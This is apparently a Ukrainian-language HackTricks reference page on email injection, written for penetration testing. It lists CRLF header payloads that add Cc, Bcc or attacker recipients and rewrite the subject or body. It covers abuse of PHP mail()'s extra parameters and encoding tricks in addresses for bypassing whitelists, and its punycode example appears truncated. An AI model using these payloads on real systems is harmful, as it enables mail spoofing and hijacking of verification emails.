# Email Injections
\
Використовуйте [**Trickest**](https://trickest.com/?utm\_source=hacktricks\&utm\_medium=text\&utm\_campaign=ppc\&utm\_content=email-injections), щоб легко створювати та **автоматизувати робочі процеси**, які підтримуються **найсучаснішими** інструментами спільноти.\
Отримайте доступ сьогодні:
{% embed url="https://trickest.com/?utm_source=hacktricks&utm_medium=banner&utm_campaign=ppc&utm_content=email-injections" %}
{% hint style="success" %}
Вчіться та практикуйте AWS Hacking:[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)\
Вчіться та практикуйте GCP Hacking: [**HackTricks Training GCP Red Team Expert (GRTE)**](https://training.hacktricks.xyz/courses/grte)
Підтримати HackTricks
* Перевірте [**плани підписки**](https://github.com/sponsors/carlospolop)!
* **Приєднуйтесь до** 💬 [**групи Discord**](https://discord.gg/hRep4RUj7f) або [**групи Telegram**](https://t.me/peass) або **слідкуйте** за нами в **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
* **Діліться хакерськими трюками, надсилаючи PR до** [**HackTricks**](https://github.com/carlospolop/hacktricks) та [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) репозиторіїв на github.
{% endhint %}
## Впровадження в надісланому електронному листі
### Впровадження Cc та Bcc після аргументу відправника
```
From:sender@domain.com%0ACc:recipient@domain.co,%0ABcc:recipient1@domain.com
```
Повідомлення буде надіслано на облікові записи отримувача та отримувача1.
### Inject argument
```
From:sender@domain.com%0ATo:attacker@domain.com
```
Повідомлення буде надіслано оригінальному отримувачу та обліковому запису зловмисника.
### Вставити аргумент Subject
```
From:sender@domain.com%0ASubject:This is%20Fake%20Subject
```
Фальшива тема буде додана до оригінальної теми і в деяких випадках замінить її. Це залежить від поведінки поштового сервісу.
### Змінити тіло повідомлення
Вставте два переводи рядка, а потім напишіть своє повідомлення, щоб змінити тіло повідомлення.
```
From:sender@domain.com%0A%0AMy%20New%20%0Fake%20Message.
```
### Експлуатація функції PHP mail()
```bash
# The function has the following definition:
php --rf mail
Function [ function mail ] {
- Parameters [5] {
Parameter #0 [ $to ]
Parameter #1 [ $subject ]
Parameter #2 [ $message ]
Parameter #3 [ $additional_headers ]
Parameter #4 [ $additional_parameters ]
}
}
```
#### Параметр 5 ($additional\_parameters)
Цей розділ буде базуватися на **тому, як зловживати цим параметром, припускаючи, що зловмисник контролює його**.
Цей параметр буде додано до командного рядка, який PHP буде використовувати для виклику бінарного файлу sendmail. Однак він буде очищений за допомогою функції `escapeshellcmd($additional_parameters)`.
Зловмисник може **впроваджувати додаткові параметри для sendmail** в цьому випадку.
#### Відмінності в реалізації /usr/sbin/sendmail
**sendmail** інтерфейс **надається програмним забезпеченням MTA для електронної пошти** (Sendmail, Postfix, Exim тощо), встановленим на системі. Хоча **базова функціональність** (така як параметри -t -i -f) залишається **такою ж** з причин сумісності, **інші функції та параметри** значно варіюються в залежності від встановленого MTA.
Ось кілька прикладів різних сторінок man команди/інтерфейсу sendmail:
* Sendmail MTA: http://www.sendmail.org/\~ca/email/man/sendmail.html
* Postfix MTA: http://www.postfix.org/mailq.1.html
* Exim MTA: https://linux.die.net/man/8/eximReferences
В залежності від **походження бінарного файлу sendmail** були виявлені різні опції для зловживання ними та **витоку файлів або навіть виконання довільних команд**. Перевірте, як це зробити в [**https://exploitbox.io/paper/Pwning-PHP-Mail-Function-For-Fun-And-RCE.html**](https://exploitbox.io/paper/Pwning-PHP-Mail-Function-For-Fun-And-RCE.html)
## Впровадження в ім'я електронної пошти
{% hint style="danger" %}
Зверніть увагу, що якщо вам вдасться створити обліковий запис у сервісі з довільним доменним ім'ям (як-от Github, Gitlab, CloudFlare Zero trust...) і підтвердити його, отримавши електронний лист для підтвердження на вашу адресу електронної пошти, ви можете отримати доступ до чутливих місць компанії жертви.
{% endhint %}
### Ігноровані частини електронної пошти
Символи: **+, -** та **{}** у рідкісних випадках можуть використовуватися для тегування та ігноруються більшістю поштових серверів.
* Наприклад, john.doe+intigriti@example.com → john.doe@example.com
**Коментарі в дужках ()** на початку або в кінці також будуть ігноруватися.
* Наприклад, john.doe(intigriti)@example.com → john.doe@example.com
### Обхід білого списку
### Цитати
### IP-адреси
Ви також можете використовувати IP-адреси як доменні імена в квадратних дужках:
* john.doe@\[127.0.0.1]
* john.doe@\[IPv6:2001:db8::1]
### Кодування електронної пошти
Як пояснено в [**цьому дослідженні**](https://portswigger.net/research/splitting-the-email-atom), імена електронної пошти також можуть містити закодовані символи:
* **PHP 256 переповнення**: Функція PHP `chr` буде продовжувати додавати 256 до символу, поки він не стане позитивним, а потім виконати операцію `%256`.
* `String.fromCodePoint(0x10000 + 0x40) // 𐁀 → @`
{% hint style="success" %}
Мета цього трюку полягає в тому, щоб закінчити з впровадженням, як-от `RCPT TO:<"collab@psres.net>collab"@example.com>`\
яке надішле електронний лист для підтвердження на іншу електронну адресу, ніж очікувалося (отже, щоб ввести іншу електронну адресу всередині імені електронної пошти та зламати синтаксис під час надсилання електронної пошти).
{% endhint %}
Різні кодування:
```bash
# Format
=? utf-8 ? q ? =41=42=43 ?= hi@example.com --> ABChi@example.com
# =? -> Start of encode
# utf-8 -> encoding used
# ? -> separator
# q -> type of encoding
# ? -> separator
# =41=42=43 -> Hex encoded data
# ?= end of encoding
# Other encodings, same example:
# iso-8859-1
=?iso-8859-1?q?=61=62=63?=hi@example.com
# utf-8
=?utf-8?q?=61=62=63?=hi@example.com
# utf-7
=?utf-7?q??=hi@example.com
# q encoding + utf-7
=?utf-7?q?&=41?=hi@example.com
# base64
=?utf-8?b?QUJD?=hi@example.com
# bas64 + utf-7
=?utf-7?q??=hi@example.com
#punycode
x@xn--svg/-9x6 → x@